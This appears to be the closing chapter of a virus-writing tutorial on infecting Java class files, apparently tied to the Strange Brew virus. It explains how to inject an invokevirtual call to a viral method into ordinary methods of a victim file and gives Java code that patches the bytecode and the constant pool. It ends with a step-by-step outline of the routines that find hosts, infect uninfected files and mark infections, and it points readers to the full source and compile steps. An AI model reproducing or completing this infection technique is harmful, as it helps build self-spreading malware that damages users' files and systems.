introduction
As with all things in
life whenever you seem to think that the end is in sight someone comes
along and fucks it all up. We have all the tools at our disposal to insert
our virus into a file. But what good is this when the new method does not
get executed by anything? The solution is to insert a call to the viral
method in another ordinary method in the file.
analysis
invokevirtual
To understand how this
is going to work it is important to understand how java calls its methods.
This is accomplished through the use of the invokevirtual instruction (0xB6).
The instruction is three bytes in length and takes a two byte fields as
its operand which contains a reference to a CONSTANT_Methodref location.
The Methodref constant contains two fields which are references to Class
and NameAndType constants as seen in the diagram below:
CONSTANT_Methodref
|
|--------CONSTANT_Class
|
|
|
|---------CONSTANT_Utf8 Class Name
|
|--------CONSTANT_NameAndType
|
|---------CONSTANT_Utf8 Method Name
|
|---------CONSTANT_Utf8 Return type
To insert a call to a
viral method we insert the following four byte code 0x2a,0xb6,constant_pool[]
Where constant_pool[]
is the CONSTANT_Methodref
//write the invokevirtual
victim.writeShort(0x2AB6);
victim.writeShort(victim_cp_count
+
virus_methodref - 1);
(Ed: The 0x2a is the
aload_0 instruction which pushes a null byte onto the stack because our
viral method is a void method ie. it does not return anything)
When we update constants
with the delta_offset we must look out for the Methodref that calls us
and change the Class Name field to refer to the newly infected file's class
name. This field known as this_class is located 2 bytes after the end of
the constants_pool.
//update the virus_methodref
with this_class
if (i == virus_methodref)
{
data1 =
victim.readUnsignedShort();
data2 =
victim.readUnsignedShort();
victim.seek(fpointer);
victim.writeShort(victim_this_class);
victim.writeShort(data2
+ delta_offset);
fpointer
+= 4;
victim.seek(fpointer);
continue;
}
conclusion
It may disappoint
you to discover that this is the end of the instructive chapters in this
document. The snippets of code in this and previous chapters are sufficient
to enable you to write a virus. For those people who still cannot see how
they would go about it, below I present a list of operations that you should
be trying to achieve, if you are feeling slack or just want to see how
I wrote the Strange Brew Virus you will find the code along with other
sources in the src directory. To
compile the Strange Brew virus you must compile it then run VirusInfo and
fill in the blanks. You must also fill in the number of the invokevirtual
methodref which can be found by using javap, and then recompile it, see
the source for details.
Strange Brew Virus was
written in four parts.
// Virus Routine A
// - Create instance
of current directory
// - Search for an infected
host
// - Open the infected
host
// - Read the host_cp_count
// - Seek to the end
of the host_cp save fpointer
// - Seek to the host_method_count
save fpointer
// - Seek to host_code_length
// - Test length matches
virus_code_length
// - Read the host_method
// - Read the host_cp
// - Close the host
// Virus Routine B
// - Create instance
of current directory
// - Search for an uninfected
victim
// - Open uninfected
victim
// - Read victim_cp_count
// - Seek to end of
victim_cp save
fpointer
// - Read victim_this_class
// - Seek to the victim_method_count
save
fpointer
// - Read victim_method_access_flags
// - Calculate victim_extra_length
// - Read victim_method_attribute_length
// - Write method_attribute_length
+ extra_length
// - Read victim_method_code_length
// - Write method_code_length
+ extra_length
// - If not static method
write invokevirtual
// - Write padding to
mark the infection
// - If static method
break out of loop
// Virus Routine C
// - Seek to victim_method_count
// - Write victim_method_count
+ 1
// - Write host_method
// - Account for delta_offset
in host_method
// Virus Routine D
// - Seek to victim_cp_count
// - Write victim_cp_count
+ total_cp_count
// - Seek to victim_cp_pointer
// - Write host_cp
// - Account for delta_offset
in host_method and
// - Account for this_class
in methodref